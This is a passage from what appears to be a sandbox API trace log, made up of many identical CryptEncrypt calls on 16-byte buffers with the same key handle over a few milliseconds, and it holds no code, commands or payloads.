hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.990] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.991] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.992] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.993] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.994] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, 